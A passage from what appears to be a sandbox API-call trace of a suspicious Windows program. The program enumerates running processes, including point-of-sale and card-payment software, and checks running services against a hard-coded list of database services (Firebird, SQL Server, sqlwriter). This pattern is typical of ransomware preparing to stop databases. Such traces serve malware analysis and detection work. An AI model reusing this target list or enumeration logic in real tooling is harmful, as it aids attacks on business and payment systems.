(lpString="whatsapp.exe") returned 12 [0108.342] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0108.343] lstrlenW (lpString="winscp.exe") returned 10 [0108.344] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0108.345] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0108.345] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0108.346] lstrlenW (lpString="active-charge.exe") returned 17 [0108.346] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0108.939] lstrlenW (lpString="accupos.exe") returned 11 [0108.939] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0108.945] lstrlenW (lpString="afr38.exe") returned 9 [0108.945] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0108.946] lstrlenW (lpString="aldelo.exe") returned 10 [0108.946] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0108.947] lstrlenW (lpString="ccv_server.exe") returned 14 [0108.947] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0108.948] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0108.949] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0108.950] lstrlenW (lpString="creditservice.exe") returned 17 [0108.950] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0108.951] lstrlenW (lpString="edcsvr.exe") returned 10 [0108.951] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0108.952] lstrlenW (lpString="fpos.exe") returned 8 [0108.952] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0108.953] lstrlenW (lpString="isspos.exe") returned 10 [0108.954] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0108.955] lstrlenW (lpString="mxslipstream.exe") returned 16 [0108.955] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0108.965] lstrlenW (lpString="omnipos.exe") returned 11 [0108.965] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0108.966] lstrlenW (lpString="spcwin.exe") returned 10 [0108.966] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0108.967] lstrlenW (lpString="spgagentservice.exe") returned 19 [0108.968] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0108.969] lstrlenW (lpString="utg2.exe") returned 8 [0108.969] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0108.970] lstrlenW (lpString="controlling.exe") returned 15 [0108.970] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0108.971] lstrlenW (lpString="assess climate.exe") returned 18 [0108.971] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0108.986] lstrlenW (lpString="color_infection.exe") returned 19 [0108.986] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0108.988] lstrlenW (lpString="home.exe") returned 8 [0108.988] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0108.990] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0108.990] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.991] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.991] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.992] lstrlenW (lpString="svchost.exe") returned 11 [0108.992] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.993] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.993] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0108.996] lstrlenW (lpString="UsoClient.exe") returned 13 [0108.997] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.998] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.998] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0108.999] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0108.999] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0109.000] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0109.000] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0109.565] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0109.565] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.566] lstrlenW (lpString="conhost.exe") returned 11 [0109.566] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.567] lstrlenW (lpString="conhost.exe") returned 11 [0109.567] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.568] lstrlenW (lpString="svchost.exe") returned 11 [0109.568] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0109.569] lstrlenW (lpString="finbbp.exe") returned 10 [0109.569] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.601] lstrlenW (lpString="dllhost.exe") returned 11 [0109.601] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0109.602] lstrlenW (lpString="cmd.exe") returned 7 [0109.603] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.603] lstrlenW (lpString="conhost.exe") returned 11 [0109.603] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0109.604] lstrlenW (lpString="sppsvc.exe") returned 10 [0109.604] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0109.605] CloseHandle (hObject=0x2c8) returned 1 [0109.605] Sleep (dwMilliseconds=0x1f4) [0110.710] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eea20 [0110.714] EnumServicesStatusExW (in: hSCManager=0x4eea20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0110.716] GetLastError () returned 0xea [0110.716] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1d4a) returned 0x38d3288 [0110.716] EnumServicesStatusExW (in: hSCManager=0x4eea20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x38d3288, cbBufSize=0x1d4a, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x38d3288, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0110.717] CloseServiceHandle (hSCObject=0x4eea20) returned 1 [0110.718] lstrlenW (lpString="Appinfo") returned 7 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0110.718] lstrlenW (lpString="AppXSvc") returned 7 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0110.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0110.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0110.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0110.718] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0110.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0110.719] lstrlenW (lpString="Audiosrv") returned 8 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0110.719] lstrlenW (lpString="BFE") returned 3 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0110.719] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0110.719] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0110.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0110.719] lstrlenW (lpString="BITS") returned 4 [0110.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0110.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0110.720] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0110.720] lstrlenW (lpString="CDPSvc") returned 6 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0110.720] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0110.720] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0110.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0110.720] lstrlenW (lpString="ClickToRunSvc") returned 13 [0110.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0110.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0110.721] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0110.721] lstrlenW (lpString="CryptSvc") returned 8 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0110.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0110.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0110.721] lstrlenW (lpString="DcomLaunch") returned 10 [0110.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.721] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0110.722] lstrlenW (lpString="DeviceAssociationService") returned 24 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0110.722] lstrlenW (lpString="Dhcp") returned 4 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0110.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0110.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0110.722] lstrlenW (lpString="Dnscache") returned 8 [0110.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0110.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0110.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0110.723] lstrlenW (lpString="DoSvc") returned 5 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0110.723] lstrlenW (lpString="DPS") returned 3 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0110.723] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0110.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0110.723] lstrlenW (lpString="DusmSvc") returned 7 [0110.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0110.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0110.723] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0110.724] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0110.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0110.724] lstrlenW (lpString="EventLog") returned 8 [0110.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0110.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0110.724] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0110.724] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0110.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0110.724] lstrlenW (lpString="EventSystem") returned 11 [0110.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0110.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0110.724] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0110.724] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0110.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0110.724] lstrlenW (lpString="FontCache") returned 9 [0110.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0110.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0110.724] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0110.725] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0110.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0110.725] lstrlenW (lpString="gpsvc") returned 5 [0110.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0110.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0110.725] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0110.725] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0110.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0110.725] lstrlenW (lpString="iphlpsvc") returned 8 [0110.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.725] lstrcmpiW 